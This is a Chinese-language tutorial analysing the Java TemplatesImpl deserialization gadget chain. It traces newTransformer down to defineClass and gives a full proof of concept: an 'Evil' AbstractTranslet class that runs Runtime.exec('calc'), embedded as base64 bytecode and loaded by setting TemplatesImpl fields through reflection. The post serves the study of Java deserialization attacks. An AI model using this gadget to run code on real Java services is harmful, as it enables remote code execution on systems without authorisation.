Java反序列化漏洞-TemplatesImpl利用链分析
一、前言
java.lang.ClassLoader#defineClass
defineClass可以加载字节码,但由于defineClass的作用域是protected,所以攻击者很少能直接利用到它,但它却是我们常用的一个攻击链 TemplatesImpl 的基石。
二、正文
1. 寻找利用链
由于defineClass的访问修饰符为protected,所以我们需要寻找使用defineClass的方法,直到找到修饰符为public的方法即可。
查找defineClass的声明和用例,可以看到com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
的TransletClassLoader方法重载了defineClass方法:
TransletClassLoader,由于它的作用域是default,所以还得继续寻找调用TransletClassLoader的方法。
最终找到的调用链:
TemplatesImpl#newTransformer() --> public
TemplatesImpl#getTransletInstance() --> private
TemplatesImpl#defineTransletClasses() --> private
TransletClassLoader#defineClass() default
2. 构造POC
2.1 生成字节码
请注意,由于defineTransletClasses方法的限制,所以编写的被加载的类必须继承自com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Evil extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public Evil() throws Exception {
Runtime.getRuntime().exec("calc");
}
}
使用javac编译后,base64编码,生成最终的字节码
yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABtMZWFyblRlbXBsYXRlSW1wbEJ5dGVzLmphdmEMAA4ADwcAHAwAHQAeAQAEY2FsYwwAHwAgAQAWTGVhcm5UZW1wbGF0ZUltcGxCeXRlcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAADQALAAAABAABAAwAAQAHAA0AAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABEACwAAAAQAAQAMAAEADgAPAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAAEwAEABQADQAVAAsAAAAEAAEAEAABABEAAAACABI=
2.2 加载字节码
首先编写一个静态类,用于反射修改成员变量
static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field declaredField = obj.getClass().getDeclaredField(fieldName);
declaredField.setAccessible(true);
declaredField.set(obj, value);
}
1)getTransletInstance
查看TemplatesImpl类的getTransletInstance
方法,可以看到需要经过两个if判断才能调用defineTransletClasses
,_name
需要赋一个String类型的值,_class
本来就是null无需修改,我们来反射修改_name
的值。
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "随便");
templates.newTransformer();
}
2)defineTransletClasses
接着进入defineTransletClasses,如果_bytecode
为空会报此 Templates 不包含有效的 translet 类定义
的错误,如果_tfactory
为空会报java.lang.NullPointerException
的错误。
可以看_bytecode
作为参数调用了defineClass,所以_bytecode
的值应为被加载的字节码。
然后可以看到被加载的类的必须继承自ASTRACT_TRANSLET
,即com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
,这就是刚才被加载类需要继承AbstractTranslet
的原因。
继续修改POC:
public static void main(String[] args) throws Exception {
byte[] bytecode = Base64.getDecoder().decode("#####你的字节码#####");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "随便");
setFieldValue(templates, "_bytecodes", new byte[][]{bytecode});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
templates.newTransformer();
}
2.3 创建实例
在defineTransletClasses
中,加载_bytecode
获得的Class对象赋给了_class
在getTransletInstance
中_class
类被创建实例,调用构造方法,至此成功命令执行。这就是为什么没有自己调用newInstance
而仍能命令执行的原因。
3. 完整POC
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.Base64;
public class LearnTemplatesImpl {
public static void main(String[] args) throws Exception {
byte[] bytecode = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABtMZWFyblRlbXBsYXRlSW1wbEJ5dGVzLmphdmEMAA4ADwcAHAwAHQAeAQAEY2FsYwwAHwAgAQAWTGVhcm5UZW1wbGF0ZUltcGxCeXRlcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAADQALAAAABAABAAwAAQAHAA0AAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABEACwAAAAQAAQAMAAEADgAPAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAAEwAEABQADQAVAAsAAAAEAAEAEAABABEAAAACABI=");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "随便");
setFieldValue(templates, "_bytecodes", new byte[][]{bytecode});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
templates.newTransformer();
}
static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field declaredField = obj.getClass().getDeclaredField(fieldName);
declaredField.setAccessible(true);
declaredField.set(obj, value);
}
}